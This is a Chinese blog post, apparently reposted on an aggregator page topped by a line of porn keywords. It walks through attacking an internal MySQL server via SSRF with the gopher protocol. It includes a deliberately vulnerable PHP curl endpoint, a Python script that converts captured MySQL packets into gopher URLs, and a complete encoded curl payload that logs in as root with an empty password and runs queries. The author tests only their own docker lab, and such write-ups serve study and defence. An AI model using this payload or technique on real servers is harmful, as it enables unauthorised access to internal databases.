日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql 远程攻击_gopher 协议攻击内网 mysql

發(fā)布時間:2025/3/15 数据库 17 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql 远程攻击_gopher 协议攻击内网 mysql 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

本地測試

一開始使用的是 centos 6.5 的虛擬機

后來發(fā)現(xiàn)我的 curl 為 7.19.7 版本,不支持 gopher 協(xié)議

但是都失敗了..

如果有 centos 6.5 升級 curl 版本成功的請告訴我!

環(huán)境搭建

失敗了就只能慢慢的搭環(huán)境了,一時腦抽想體驗一下 docker-compose,就去裝了 dnmp(docker+nginx+mysql+php) 很棒的一個項目

不過默認 php_curl 擴展沒有打開,需要手動開啟,否則會報錯 curl_init 函數(shù)未定義

我的環(huán)境大概就成了這樣:

主機 80 端口映射到了 nginx 容器,3306 端口映射到了 mysql 容器

容器內(nèi)則需要通過 ip 172.19.0.1 來訪問到主機

nginx 容器內(nèi)放一個 獲取外部資源的 curl

if(isset($_GET["url"])) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_GET["url"]);

// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);

curl_close($ch);

}

?>

進行本地測試

image.png

成功通過 gopher 協(xié)議將數(shù)據(jù)傳送到了 2333 端口

遠程測試

1533999437946.png

抓包

使用 tcpdump 抓包

為方便抓包,mysql -h127.0.0.1 -uroot -p 指定使用 TCP/IP 套接字,否則會使用 unix 套接字

在 mysql 的認證階段,如果有密碼,那么服務(wù)端會返回一個 salt 來進行密碼認證

因為我們是直接發(fā)送數(shù)據(jù)流沒辦法與服務(wù)端交互,因此 只能是空密碼

數(shù)據(jù)處理

將原始數(shù)據(jù)轉(zhuǎn)換成類似 url 的格式

#!/usr/bin/env python2

# coding: utf-8

import urllib

s = """5000000185a60f0000000001210000000000000000000000000000000000000000000000746573740014d07fd833aedda1666a97d3474aa85f399659626f6d7973716c5f6e61746976655f70617373776f726400

210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031

0f0000000373686f7720646174616261736573

0100000001"""

s = "".join(s.split())

def encode(s):

a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]

return "gopher://127.0.0.1:3306/_%" + "%".join(a)

s = encode(s)

print "[+ local]", s

s = urllib.quote(s)

print "[+ url]", s

本機測試

1534000335933.png

遠程測試

最終 payload 為

curl -vv ssrf/?url=gopher%3A//172.19.0.1%3A3306/_%25b0%2500%2500%2501%2585%25a6%253f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2573%2503%255f%256f%2573%2510%2564%2565%2562%2569%2561%256e%252d%256c%2569%256e%2575%2578%252d%2567%256e%2575%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2506%2531%2532%2531%2530%2535%2537%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2507%2531%2530%252e%2531%252e%2532%2539%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501 --output -

可以成功

1534000725105.png

許多許多坑

大概是昨晚沒睡好.. 一天腦子短路

昨天用 kali 和另一個虛擬機(centos)來搞,搞了半天發(fā)現(xiàn)是 curl 版本太低,不支持 gopher 協(xié)議

然后想把 curl 版本升上去,一晚都沒睡好,還tmd失敗了

第二天起來拿 docker-compose 搭了個 環(huán)境,一開始測試沒有返回數(shù)據(jù),最坑的是 nginx 還tmd返回 200 OK,讓我一度懷疑人生,檢查 docker-compose 組件關(guān)系,最后發(fā)現(xiàn)是 php curl_init 函數(shù)未定義

這次就是 php_curl 擴展沒有開,打開一下,又是一頓搜索

搭好了測試,本地測試炸了,遠程測試也炸,一度懷疑我的 payload 有問題,又是檢查 url格式 又是重新抓包

最后問題在于 nginx 服務(wù)器的 127.0.0.1 并沒有指向我的主機..

nginx 裝在 docker 中

主機 80 端口映射到了 nginx 容器,3306 端口映射到了 mysql 容器,因此可以直接 用 127.0.0.1 訪問

但是 用于測試的 2333 端口并沒有進行映射,因此 nc 主機 de

127.0.0.1:2333 對于 nginx 的 127.0.0.1:2333 來說 并沒有什么卵用

現(xiàn)在想想,當時懶不想去配日志,猜來猜去才弄出這么多事情,得

總結(jié)

以上是生活随笔為你收集整理的mysql 远程攻击_gopher 协议攻击内网 mysql的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。